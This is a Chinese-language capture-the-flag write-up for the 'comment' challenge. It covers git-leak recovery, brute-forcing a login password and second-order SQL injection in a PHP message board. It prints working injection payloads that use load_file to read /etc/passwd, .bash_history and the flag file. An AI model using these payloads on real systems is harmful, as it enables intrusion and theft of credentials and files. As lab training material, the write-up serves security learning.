攻防世界 comment

进去是个留言板页面发帖需要登录未登录回跳转到登录页面
一不做二不休直接dirsearch扫描一下看看有哪些文件
芜湖！意外发现git泄露！！还扫到了个mysql.php???访问好像没啥子用以后再说
GitHack 下载了一下发现只下载了给write_do.php
代码贴下

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    
    
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
    
    
switch ($_GET['do'])
{
    
    
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    
    
    header("Location: ./index.php");
}
?>

所以session必须等于yes才能操作
这里有个脑洞我们跳转到login.php有个小提示
账号:zhangwei 密码:zhangwei***
这里可以尝试爆破得到正确的账号密码卧槽！牛逼！
编写个脚本列出所有的三位数字和字母组合

str_a='123456789abcdefghijklmnopqrstuvwxzy'
for i in str_a:
    for j in str_a:
        for k in str_a:
            print(i+j+k)

最后爆出密码是zhangwei666
成功登录之后题目描述的sql注入就应该在这个页面了盲猜是个二次注入
先发帖再看值
卧槽知道是二次注入还是摸不着头脑看了wp
发现我GitHack下载的do_login.php不完整附上大师傅的源码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    
    
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
    
    
switch ($_GET['do'])
{
    
    
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    
    
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    
    
    header("Location: ./index.php");
}
?>
————————————————
//版权声明：本文为CSDN博主「HyyMbb」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
//原文链接：https://blog.csdn.net/a3320315/article/details/104216070

这个题目的关键点在于write中的category填写的注入语句和comment中填写的content内容
comment直接将category的数据取出，没有经过任何的过滤操作
而我们在写入的时候经过了addslashes($_POST['category'])处理,所以我们可以在这里花点心思
而这道题目的最坑点在于

$content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";

因为是分行插入,所以在注入后面添加#是没有用,要用到/**/
举个例子:

我们在发帖的时候
TITLE:database
CATEGORY:123’,content=database(),/*
CONTENT:123
在提交留言处写入
*/#

这个时候代码就变为

$content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '123',content=database(),/*',
                content = '*/#',
                bo_id = '$bo_id'";

insert into comment
            set category = '123',content=database(),/*',
                content = '*/#',
                bo_id = '$bo_id'";

返回的页面就是
接着我又尝试了123',content=(select group_concat(table_name) from information_schema.tables where table_schema=database()),/*
返回的是board,comment,user
我把各个表查烂了没有找到flag …
于是又开始查看文件
123',content=(select (load_file('/etc/passwd'))),/*

insert into comment
            set category = '123',content=(select (load_file('/etc/passwd'))),/*',
                content = '*/#',
                bo_id = '$bo_id'";

返回的值
123',content=(select (load_file('/home/www/.bash_history'))),/*
123', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
解码后flag_8946e1ff1ee3e40f.php
123',content=(select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
flag在F12里面！！！！
手动注入的一下午！！！

猜你喜欢